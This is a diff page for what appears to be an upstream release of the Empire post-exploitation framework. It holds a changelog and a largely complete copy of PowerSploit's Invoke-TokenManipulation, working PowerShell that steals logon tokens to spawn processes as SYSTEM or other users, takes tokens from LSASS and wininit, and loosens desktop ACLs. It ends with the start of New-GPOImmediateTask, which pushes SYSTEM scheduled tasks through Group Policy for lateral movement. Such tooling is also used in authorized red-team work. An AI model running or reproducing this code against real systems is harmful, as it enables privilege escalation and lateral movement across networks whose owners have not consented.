New upstream version 3.5.2
Sophie Brun
3 years ago
0 | 10/22/2020 | |
1 | ------------ | |
2 | - Version 3.5.2 Master Release | |
3 | - Fixed token manipulation (steal_token) functionality in Windows 10 - #355 (@Hubbl3) | |
4 | - Fixed lateral movement module New-GPOImmediateTask - #362 (@Cx01N) | |
5 | - Fixed Invoke-PSRemoting blocking current agent - #359 (@mjokic) | |
6 | ||
0 | 7 | 10/14/2020 |
1 | 8 | ------------ |
2 | 9 | - Version 3.5.1 Master Release |
0 | function Invoke-TokenManipulation | |
1 | { | |
0 | function Invoke-TokenManipulation{ | |
2 | 1 | <# |
3 | 2 | .SYNOPSIS |
4 | ||
5 | 3 | This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use |
6 | 4 | anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. |
7 | 5 | This functionality is very similar to the incognito tool (with some differences, and different use goals). |
8 | ||
9 | 6 | This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell |
10 | 7 | creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token |
11 | 8 | that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect |
12 | 9 | to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). |
13 | ||
14 | Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon | |
10 | Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon | |
15 | 11 | Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their |
16 | 12 | credentials for the authentication. |
17 | ||
18 | IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". | |
13 | IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". | |
19 | 14 | This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL |
20 | 15 | is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, |
21 | 16 | so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. |
22 | 17 | This could show up in logs depending on the level of monitoring. |
23 | ||
24 | ||
25 | 18 | PERMISSIONS REQUIRED: |
26 | 19 | SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. |
27 | 20 | SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. |
28 | ||
29 | ||
30 | 21 | Important differences from incognito: |
31 | 22 | First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates |
32 | 23 | between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service |
33 | 24 | which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow |
34 | 25 | you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting |
35 | without dumping credentials. | |
36 | ||
26 | without dumping credentials. | |
37 | 27 | In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does |
38 | matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for | |
28 | matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for | |
39 | 29 | the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types |
40 | 30 | should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks |
41 | 31 | for tokens which were created with desirable logon tokens (and only displays them by default). |
42 | ||
43 | 32 | In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). |
44 | ||
45 | ||
46 | 33 | PowerSploit Function: Invoke-TokenManipulation |
47 | 34 | Author: Joe Bialek, Twitter: @JosephBialek |
48 | 35 | License: BSD 3-Clause |
50 | 37 | Optional Dependencies: None |
51 | 38 | Version: 1.11 |
52 | 39 | (1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe) |
53 | ||
54 | 40 | .DESCRIPTION |
55 | ||
56 | 41 | Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. |
57 | ||
58 | 42 | .PARAMETER Enumerate |
59 | ||
60 | 43 | Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). |
61 | ||
62 | 44 | .PARAMETER RevToSelf |
63 | ||
64 | 45 | Switch. Stops impersonating an alternate users Token. |
65 | ||
66 | 46 | .PARAMETER ShowAll |
67 | ||
68 | 47 | Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). |
69 | ||
70 | 48 | .PARAMETER ImpersonateUser |
71 | ||
72 | 49 | Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. |
73 | 50 | This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. |
74 | ||
51 | ||
75 | 52 | .PARAMETER CreateProcess |
76 | ||
77 | 53 | Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. |
78 | ||
54 | ||
79 | 55 | .PARAMETER WhoAmI |
80 | ||
81 | 56 | Switch. Displays the credentials the PowerShell thread is running under. |
82 | ||
83 | 57 | .PARAMETER Username |
84 | ||
85 | 58 | Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. |
86 | ||
87 | 59 | .PARAMETER ProcessId |
88 | ||
89 | 60 | Specify the Token to use by ProcessId. This will use the primary token of the process specified. |
90 | ||
91 | 61 | .PARAMETER Process |
92 | ||
93 | 62 | Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. |
94 | ||
95 | 63 | .PARAMETER ThreadId |
96 | ||
97 | 64 | Specify the Token to use by ThreadId. This will use the token of the thread specified. |
98 | ||
99 | 65 | .PARAMETER ProcessArgs |
100 | ||
101 | 66 | Specify the arguments to start the specified process with when using the -CreateProcess mode. |
102 | ||
103 | 67 | .PARAMETER NoUI |
104 | ||
105 | If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the | |
68 | If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the | |
106 | 69 | current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control |
107 | 70 | to "Everyone". |
108 | ||
109 | 71 | .PARAMETER PassThru |
110 | ||
111 | 72 | If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. |
112 | 73 | |
113 | ||
114 | 74 | .EXAMPLE |
115 | ||
116 | 75 | Invoke-TokenManipulation -Enumerate |
117 | ||
118 | 76 | Lists all unique usable tokens on the computer. |
119 | ||
120 | 77 | .EXAMPLE |
121 | ||
122 | 78 | Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" |
123 | ||
124 | 79 | Spawns cmd.exe as SYSTEM. |
125 | ||
126 | 80 | .EXAMPLE |
127 | ||
128 | 81 | Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" |
129 | ||
130 | 82 | Makes the current PowerShell thread impersonate SYSTEM. |
131 | ||
132 | 83 | .EXAMPLE |
133 | ||
134 | 84 | Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 |
135 | ||
136 | 85 | Spawns cmd.exe using the primary token belonging to process ID 500. |
137 | ||
138 | 86 | .EXAMPLE |
139 | ||
140 | 87 | Invoke-TokenManipulation -ShowAll |
141 | ||
142 | 88 | Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. |
143 | ||
144 | 89 | .EXAMPLE |
145 | ||
146 | 90 | Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 |
147 | ||
148 | 91 | Spawns cmd.exe using the token belonging to thread ID 500. |
149 | ||
150 | 92 | .EXAMPLE |
151 | ||
152 | 93 | Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" |
153 | ||
154 | 94 | Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. |
155 | ||
156 | 95 | .EXAMPLE |
157 | ||
158 | 96 | (Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() |
159 | ||
160 | 97 | Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. |
161 | ||
162 | 98 | .EXAMPLE |
163 | ||
164 | 99 | Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser |
165 | ||
166 | 100 | Makes the current thread impersonate the lsass security token. |
167 | ||
168 | 101 | .NOTES |
169 | This script was inspired by incognito. | |
170 | ||
102 | This script was inspired by incognito. | |
171 | 103 | Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). |
172 | 104 | BIG THANKS to Matt Graeber for helping debug. |
173 | ||
174 | 105 | .LINK |
175 | ||
176 | 106 | Blog: http://clymb3r.wordpress.com/ |
177 | 107 | Github repo: https://github.com/clymb3r/PowerShell |
178 | 108 | Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ |
179 | ||
180 | 109 | #> |
181 | 110 | |
182 | 111 | [CmdletBinding(DefaultParameterSetName="Enumerate")] |
236 | 165 | [Switch] |
237 | 166 | $PassThru |
238 | 167 | ) |
239 | ||
168 | ||
240 | 169 | Set-StrictMode -Version 2 |
241 | 170 | |
242 | 171 | #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ |
245 | 174 | Param |
246 | 175 | ( |
247 | 176 | [OutputType([Type])] |
248 | ||
177 | ||
249 | 178 | [Parameter( Position = 0)] |
250 | 179 | [Type[]] |
251 | 180 | $Parameters = (New-Object Type[](0)), |
252 | ||
181 | ||
253 | 182 | [Parameter( Position = 1 )] |
254 | 183 | [Type] |
255 | 184 | $ReturnType = [Void] |
264 | 193 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') |
265 | 194 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) |
266 | 195 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') |
267 | ||
196 | ||
268 | 197 | Write-Output $TypeBuilder.CreateType() |
269 | 198 | } |
270 | 199 | |
275 | 204 | Param |
276 | 205 | ( |
277 | 206 | [OutputType([IntPtr])] |
278 | ||
207 | ||
279 | 208 | [Parameter( Position = 0, Mandatory = $True )] |
280 | 209 | [String] |
281 | 210 | $Module, |
282 | ||
211 | ||
283 | 212 | [Parameter( Position = 1, Mandatory = $True )] |
284 | 213 | [String] |
285 | 214 | $Procedure |
519 | 448 | $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null |
520 | 449 | $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null |
521 | 450 | $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() |
522 | ||
451 | ||
523 | 452 | #Struct TOKEN_PRIVILEGES |
524 | 453 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' |
525 | 454 | $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) |
583 | 512 | |
584 | 513 | $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken |
585 | 514 | $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) |
586 | $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) | |
515 | $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) | |
587 | 516 | |
588 | 517 | $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation |
589 | 518 | $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) |
590 | $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) | |
519 | $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) | |
591 | 520 | |
592 | 521 | $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken |
593 | 522 | $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) |
594 | $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) | |
523 | $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) | |
595 | 524 | |
596 | 525 | $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser |
597 | 526 | $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) |
703 | 632 | ############################### |
704 | 633 | |
705 | 634 | |
706 | #Used to add 64bit memory addresses | |
707 | Function Add-SignedIntAsUnsigned | |
708 | { | |
709 | Param( | |
710 | [Parameter(Position = 0, Mandatory = $true)] | |
711 | [Int64] | |
712 | $Value1, | |
713 | ||
714 | [Parameter(Position = 1, Mandatory = $true)] | |
715 | [Int64] | |
716 | $Value2 | |
717 | ) | |
718 | ||
719 | [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) | |
720 | [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) | |
721 | [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) | |
722 | ||
723 | if ($Value1Bytes.Count -eq $Value2Bytes.Count) | |
724 | { | |
725 | $CarryOver = 0 | |
726 | for ($i = 0; $i -lt $Value1Bytes.Count; $i++) | |
727 | { | |
728 | #Add bytes | |
729 | [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver | |
730 | ||
731 | $FinalBytes[$i] = $Sum -band 0x00FF | |
732 | ||
733 | if (($Sum -band 0xFF00) -eq 0x100) | |
734 | { | |
735 | $CarryOver = 1 | |
736 | } | |
737 | else | |
738 | { | |
739 | $CarryOver = 0 | |
740 | } | |
741 | } | |
742 | } | |
743 | else | |
744 | { | |
745 | Throw "Cannot add bytearrays of different sizes" | |
746 | } | |
747 | ||
748 | return [BitConverter]::ToInt64($FinalBytes, 0) | |
749 | } | |
750 | ||
751 | ||
752 | 635 | #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL |
753 | 636 | function Enable-SeAssignPrimaryTokenPrivilege |
754 | { | |
637 | { | |
755 | 638 | [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() |
756 | 639 | if ($ThreadHandle -eq [IntPtr]::Zero) |
757 | 640 | { |
758 | 641 | Throw "Unable to get the handle to the current thread" |
759 | 642 | } |
760 | ||
643 | ||
761 | 644 | [IntPtr]$ThreadToken = [IntPtr]::Zero |
762 | 645 | [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) |
763 | 646 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() |
771 | 654 | { |
772 | 655 | Throw (New-Object ComponentModel.Win32Exception) |
773 | 656 | } |
774 | ||
657 | ||
775 | 658 | $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) |
776 | 659 | if ($Result -eq $false) |
777 | 660 | { |
785 | 668 | } |
786 | 669 | |
787 | 670 | $CloseHandle.Invoke($ThreadHandle) | Out-Null |
788 | ||
671 | ||
789 | 672 | $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) |
790 | 673 | $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) |
791 | 674 | $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) |
841 | 724 | [String] |
842 | 725 | $Privilege |
843 | 726 | ) |
844 | ||
845 | 727 | [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke() |
846 | 728 | if ($ThreadHandle -eq [IntPtr]::Zero) |
847 | 729 | { |
848 | 730 | Throw "Unable to get the handle to the current thread" |
849 | 731 | } |
850 | ||
732 | ||
851 | 733 | [IntPtr]$ThreadToken = [IntPtr]::Zero |
852 | 734 | [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) |
853 | 735 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() |
861 | 743 | { |
862 | 744 | Throw (New-Object ComponentModel.Win32Exception) |
863 | 745 | } |
864 | ||
746 | ||
865 | 747 | $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) |
866 | 748 | if ($Result -eq $false) |
867 | 749 | { |
875 | 757 | } |
876 | 758 | |
877 | 759 | $CloseHandle.Invoke($ThreadHandle) | Out-Null |
878 | ||
760 | ||
879 | 761 | $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID) |
880 | 762 | $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize) |
881 | 763 | $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID) |
921 | 803 | function Set-DesktopACLs |
922 | 804 | { |
923 | 805 | Enable-Privilege -Privilege SeSecurityPrivilege |
924 | ||
925 | 806 | #Change the privilege for the current window station to allow full privilege for all users |
926 | 807 | $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0") |
927 | 808 | $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC) |
1045 | 926 | } |
1046 | 927 | else |
1047 | 928 | { |
1048 | $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY | |
929 | $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY | |
1049 | 930 | } |
1050 | 931 | |
1051 | 932 | $ReturnStruct = New-Object PSObject |
1178 | 1059 | else |
1179 | 1060 | { |
1180 | 1061 | $LogonSessionData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LogonSessionDataPtr, [Type]$SECURITY_LOGON_SESSION_DATA) |
1181 | if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and | |
1062 | if ($LogonSessionData.Username.Buffer -ne [IntPtr]::Zero -and | |
1182 | 1063 | $LogonSessionData.LoginDomain.Buffer -ne [IntPtr]::Zero) |
1183 | 1064 | { |
1184 | 1065 | #Get the username and domainname associated with the token |
1186 | 1067 | $Domain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($LogonSessionData.LoginDomain.Buffer, $LogonSessionData.LoginDomain.Length/2) |
1187 | 1068 | |
1188 | 1069 | #If UserName is for the computer account, figure out what account it actually is (SYSTEM, NETWORK SERVICE) |
1189 | #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account | |
1070 | #Only do this for the computer account because other accounts return correctly. Also, doing this for a domain account | |
1190 | 1071 | #results in querying the domain controller which is unwanted. |
1191 | 1072 | if ($Username -ieq "$($env:COMPUTERNAME)`$") |
1192 | 1073 | { |
1217 | 1098 | |
1218 | 1099 | $ReturnObj = New-Object PSObject |
1219 | 1100 | $ReturnObj | Add-Member -Type NoteProperty -Name Domain -Value $Domain |
1220 | $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username | |
1101 | $ReturnObj | Add-Member -Type NoteProperty -Name Username -Value $Username | |
1221 | 1102 | $ReturnObj | Add-Member -Type NoteProperty -Name hToken -Value $hToken |
1222 | 1103 | $ReturnObj | Add-Member -Type NoteProperty -Name LogonType -Value $LogonSessionData.LogonType |
1223 | 1104 | |
1232 | 1113 | if (-not $Success) |
1233 | 1114 | { |
1234 | 1115 | $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() |
1235 | Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" | |
1116 | Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" | |
1236 | 1117 | } |
1237 | 1118 | else |
1238 | 1119 | { |
1334 | 1215 | else |
1335 | 1216 | { |
1336 | 1217 | $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) |
1337 | ||
1218 | ||
1338 | 1219 | #Loop through each privilege |
1339 | [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) | |
1220 | [IntPtr]$PrivilegesBasePtr = [IntPtr]::add($TokenPrivilegesPtr, ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) | |
1340 | 1221 | $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) |
1341 | 1222 | for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) |
1342 | 1223 | { |
1343 | $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) | |
1224 | $LuidAndAttributePtr = [IntPtr]::add($PrivilegesBasePtr, ($LuidAndAttributeSize * $i)) | |
1344 | 1225 | |
1345 | 1226 | $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) |
1346 | 1227 | |
1347 | 1228 | #Lookup privilege name |
1348 | [UInt32]$PrivilegeNameSize = 60 | |
1229 | [UInt32]$PrivilegeNameSize = 100 | |
1349 | 1230 | $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) |
1350 | 1231 | $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid |
1351 | 1232 | |
1594 | 1475 | { |
1595 | 1476 | $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") |
1596 | 1477 | } |
1597 | ||
1478 | ||
1598 | 1479 | $FunctionName = "" |
1599 | 1480 | if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) |
1600 | 1481 | { |
1601 | 1482 | #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because |
1602 | 1483 | #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege |
1603 | #which is not ideal. | |
1484 | #which is not ideal. | |
1604 | 1485 | Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." |
1605 | 1486 | Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege |
1606 | 1487 | $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) |
1685 | 1566 | |
1686 | 1567 | #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. |
1687 | 1568 | #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. |
1688 | $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id | |
1569 | $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process lsass | where {$_.SessionId -eq 0}).Id | |
1689 | 1570 | if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) |
1690 | 1571 | { |
1691 | 1572 | Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" |
1700 | 1581 | $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} |
1701 | 1582 | |
1702 | 1583 | #Get all tokens |
1703 | foreach ($Process in $ProcessIds) | |
1704 | { | |
1584 | foreach($Process in $ProcessIds){ | |
1705 | 1585 | $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) |
1706 | 1586 | |
1707 | 1587 | #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. |
1736 | 1616 | if ($ReturnObj -ne $null) |
1737 | 1617 | { |
1738 | 1618 | $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id |
1739 | ||
1619 | ||
1740 | 1620 | $AllTokens += $ReturnObj |
1741 | 1621 | } |
1742 | 1622 | } |
1796 | 1676 | elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") |
1797 | 1677 | { |
1798 | 1678 | $AllTokens = Enum-AllTokens |
1799 | ||
1679 | ||
1800 | 1680 | #Select the token to use |
1801 | 1681 | [IntPtr]$hToken = [IntPtr]::Zero |
1802 | 1682 | $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser |
1872 | 1752 | { |
1873 | 1753 | Set-DesktopACLs |
1874 | 1754 | } |
1875 | ||
1876 | 1755 | Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru |
1877 | 1756 | |
1878 | 1757 | Invoke-RevertToSelf |
1907 | 1786 | Free-AllTokens -TokenInfoObjs $AllTokens |
1908 | 1787 | } |
1909 | 1788 | } |
1910 | ||
1911 | 1789 | |
1912 | 1790 | #Start the main function |
1913 | 1791 | Main |
1914 | 1792 | } |
1793 |
14156 | 14156 | } |
14157 | 14157 | |
14158 | 14158 | |
14159 | function New-GPOImmediateTask { | |
14160 | <# | |
14161 | .SYNOPSIS | |
14162 | ||
14163 | Builds an 'Immediate' schtask to push out through a specified GPO. | |
14164 | ||
14165 | Authors: Will Schroeder (@harmj0y) | |
14166 | License: BSD 3-Clause | |
14167 | Required Dependencies: Get-DomainGPO | |
14168 | ||
14169 | .DESCRIPTION | |
14170 | ||
14171 | Builds an 'Immediate' schtask to push out through a specified GPO. First an | |
14172 | XML file is created here | |
14173 | '<GPO path>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml'. | |
14174 | This XML file contains configuration for our 'Immediate' task such as which | |
14175 | command will be run with which account. | |
14176 | Furthermore, for the 'Immediate' task to be run we need to update the | |
14177 | gPCMachineExtensionNames or gPCUserExtensionNames attribute of the GPO object | |
14178 | with the GUID corresponding to an 'Immediate' task. | |
14179 | Finally, the versioNumber must be updated both in the GPO object and the | |
14180 | GPT.ini file if we want the 'Immediate' task to be applied without 'gpupdate | |
14181 | /force'. | |
14182 | Greatly inspired from https://labs.mwrinfosecurity.com/tools/sharpgpoabuse/. | |
14183 | ||
14184 | .PARAMETER TaskName | |
14185 | ||
14186 | Name for the schtask to recreate. Required. | |
14187 | ||
14188 | .PARAMETER Command | |
14189 | ||
14190 | The command to execute with the task, defaults to 'powershell'. | |
14191 | ||
14192 | .PARAMETER CommandArguments | |
14193 | ||
14194 | The arguments to supply to the -Command being launched. | |
14195 | ||
14196 | .PARAMETER TaskDescription | |
14197 | ||
14198 | An optional description for the task. | |
14199 | ||
14200 | .PARAMETER TaskAuthor | |
14201 | ||
14202 | The displayed author of the task, defaults to 'NT AUTHORITY\System'. | |
14203 | ||
14204 | .PARAMETER TaskRunAs | |
14205 | ||
14206 | The security context under which the task is run, defaults to 'NT AUTHORITY\System'. | |
14207 | ||
14208 | .PARAMETER TaskLogonType | |
14209 | ||
14210 | The logon type used by the task (mainly S4U or InteractiveToken), defaults to 'S4U'. | |
14211 | ||
14212 | .PARAMETER TaskRunLevel | |
14213 | ||
14214 | The privilege level asked for by the task, defaults to 'HighestAvailable' | |
14215 | ||
14216 | .PARAMETER TaskModifiedDate | |
14217 | ||
14218 | The displayed modified date for the task, defaults to 30 days ago. | |
14219 | ||
14220 | .PARAMETER GPO | |
14221 | ||
14222 | A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'), | |
14223 | GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). | |
